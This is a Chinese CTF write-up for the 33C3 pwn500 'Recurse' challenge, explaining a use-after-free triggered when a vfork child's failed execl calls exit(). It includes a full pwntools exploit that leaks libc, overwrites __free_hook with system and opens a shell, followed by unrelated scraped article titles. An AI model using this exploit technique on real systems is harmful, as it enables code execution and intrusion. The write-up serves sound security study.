33c3-pwn500-recurse
Recurse
好记性不如烂笔头。当时没有记录,现在趁着有时间简单写一写,为以后留备份。
这个题目当时并没有队伍做出来,赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞,不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的,这是因为程序的编译用到了safestack,safestack是llvm中一种防止内存破坏漏洞的措施,该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取,如下图:
关于safestack的介绍,http://blog.includesecurity.com/2015/11/LLVM-SafeStack-buffer-overflowprotection.html,我觉得这个写得很好。
程序是一个C++的程序,成员变量包含一个std::string,赛后看了源码之后发现成员变量只有一个string对象。关于std::string对象,可以参考上一篇博客的简单介绍。
来介绍一下vfork,根据man page的介绍,vfork和fork类似,只是vfork的子进程并不拷贝父进程的页表,也就是说子进程和父进程共用页表、进程空间。vfork产生子进程后,父进程会被阻塞等待子进程的退出后父进程重新执行,由于子进程和父进程共用的是同一个栈,所以对子进程有一些限制,限制的作用在于不破坏父进程的栈。如果子进程不遵守这些限制,则程序的行为是不确定的。
可以看到在option 3中,程序通过vfork生成了子进程,并且紧接着就调用execl来启动子进程。看起来一切正常,但是如果execl调用失败的话,程序会执行err函数,在err函数中会调用exit函数,exit函数会对全局的C++对象进行析构,从而将申请的内存给释放掉造成UAF。注意子进程可以调用_exit,但是不能调用exit,因为exit会调用程序运行时注册的各种析构函数。关于exit的介绍,我觉得这一篇很棒:http://m.udpwork.com/item/11573.html
全局的C++对象中存在std::string,而std::string的长度大于15的时候,会申请堆空间来存放字符串。因此,如果造成C++全局对象的析构的话,堆上的空间将会被释放。这个时候就可以通过内存重叠来造成信息泄露和任意地址写。关于如何造成内存重叠,每个人的方法可能不一样,我的exp参考了官方的exp但是和官方的exp的内存布局不一样。关于信息泄露,我们则是通过泄露fastbin的fd指针进行泄露。任意地址写则是通过fastbin攻击,伪造fast chunk。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug' HOST = '127.0.0.1'
PORT = 10000
r = remote(HOST, PORT) def enter(name = 'AAAA'):
r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline(name) def leave():
r.readuntil('iterate')
r.sendline('') def trigger_uaf():
enter('A'*140*1024)
for i in range(33):
r.readn(4095) r.readuntil('iterate')
r.sendline('')
leave() MSB = '\x7f'
libc_leak_off = 0x3bdb58
free_hook = 0x3bf788
system = 0x43f40 raw_input('go!')
r.readuntil('name?')
r.sendline(p64(0x31)) r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline('A'*400)
raw_input('go!') enter(p64(0x31)*8)
enter(p64(0x31)*8) trigger_uaf()
raw_input('After trigger UAF')
enter(p64(0x31)*8)
enter(p64(0x31)*8) enter(p64(0x31)*7)
small_data = p64(0x31) + p64(0) + '\x00'*0xe
enter(small_data)
enter(small_data) leave()
leave()
leave() leave()
leave()
leave()
leave() leak = r.readuntil('iterate')
leak_off = leak.find(MSB)-5
assert leak_off >= 0
libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off r.unrecv('iterate')
r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
fakefd = libc - 0x100
data1 = 0xa0*'\x00' + p64(0x240) + p64(0x31) + p64(fakefd)
r.sendline(data1) raw_input('stop here')
enter('a'*16)
enter('b'*16)
enter(p64(0x31)+'\x00')
data2 = 'a'*24 + p64(libc+free_hook)[:6]
enter(data2)
leave()
leave() r.readuntil('iterate')
r.sendline('')
r.readuntil('name?')
r.sendline(p64(libc+system))
enter('/bin/sh\x00'*2)
leave()
r.interactive()
33c3-pwn500-recurse的更多相关文章
- Get-ChildItem参数之 -Exclude,Filter,Recurse应用
$p = "D:\PSScript" gci $p -Exclude "UpdateLog" #排除子目录"UpdateLog",但是后面不 ...
- 胖哈勃杯Pwn400、Pwn500详解
概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...
- [Algorithms] Divide and Recurse Over an Array with Merge Sort in JavaScript
Merge sort is a recursive sorting algorithm. If you don't understand recursion, I recommend finding ...
- 【深入浅出jQuery】源码浅析--整体架构
最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...
- $.extend()的实现源码 --(源码学习1)
目标: $.extend({ add:function(a,b){ return a + b; } }) console.log($.a ...
- PowerShell实现批量重命名文件
[string]$FileName="E:\test11" #-------------------------------------- Clear-Host foreach($ ...
- spring源码分析之@ImportSelector、@Import、ImportResource工作原理分析
1. @importSelector定义: /** * Interface to be implemented by types that determine which @{@link Config ...
- pt-heartbeat
pt-heartbeat是用来监测主从延迟的情况的,众所周知,传统的通过show slave status\G命令中的Seconds_Behind_Master值来判断主从延迟并不靠谱. pt-hea ...
- 学习笔记:7z在delphi的应用
最近做个发邮件的功能,需要将日志文件通过邮件发送回来用于分析,但是日志文件可能会超级大,测算下来一天可能会有800M的大小.所以压缩是不可避免了,delphi中的默认压缩算法整了半天不太好使,就看了看 ...
- 从零开始,DIY一个jQuery(2)
在上篇文章我们简单实现了一个 jQuery 的基础结构,不过为了顺应潮流,这次咱把它改为模块化的写法,此举得以有效提升项目的可维护性,因此在后续也将以模块化形式进行持续开发. 模块化开发和编译需要用上 ...
随机推荐
- SQL server 数据库升级版本问题解决办法
在升级或安装数据库的时候,会遇到数据库版本不对的问题,无论怎么升级,升级提示成功了,但打开数据库发现还是原来那个版本.甚至出现重装数据库之后,登陆页面已经提示安装的是新版本了,但登陆进去之后,发现数据 ...
- LeetCode-Lowest Common Ancestor of a Binary Tre
Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. According ...
- json、jsonp的定义和区别
一.区别 简单来说,json是一种数据交换格式,jsonp是一种非官方跨域数据交互协议.json描述的是信息的格式,而jsonp是信息传递双方约定的方法.json返回的是一串数据,而 jsonp返回的 ...
- Go语言 基本类型
在内存中的形式 首先看一下在go中,一些基础类型在内存中是以什么形态存在的,如下图所示: 变量j的类型是int32, 而变量i的类型是int,两者不是同一个类型,所以赋值操作i=j是一种类型错误can ...
- CentOS源码安装QT
在VirtualBox上的CentOS下安装qt-everywhere-opensource-src-4.8.4 ,执行 ./confiure时失败,失败信息为:Basic XLib function ...
- GROUP_CONCAT 拼接顺序
用 group_concat 拼接后的顺序 group_concat(id order by id) 里面id更新需要更换
- jsp->jar
(2)新建 WEB-INF目录 (3)在 WEB-INF/web.xml 中输入如下内容 <web-app xmlns="http://java.sun.com/xml/ns/j2ee ...
- 二项分布。计算binomial(100,50,0.25)将会产生的递归调用次数(算法第四版1.1.27)
算法第四版35页问题1.1.27,估计用一下代码计算binomial(100,50,0.25)将会产生的递归调用次数: public static double binomial(int n,int ...
- python基础-第七篇-7.4异常处理
异常基础: 异常处理首先要捕获异常,不让程序中断,也不让错误信息直接呈现出来,然后就是你该怎么处理异常,以什么方式显示 try: pass except Exception,ex: pass 在需要用 ...
- docker安装入门
docker安装入门 https://blog.csdn.net/earbao/article/details/49683175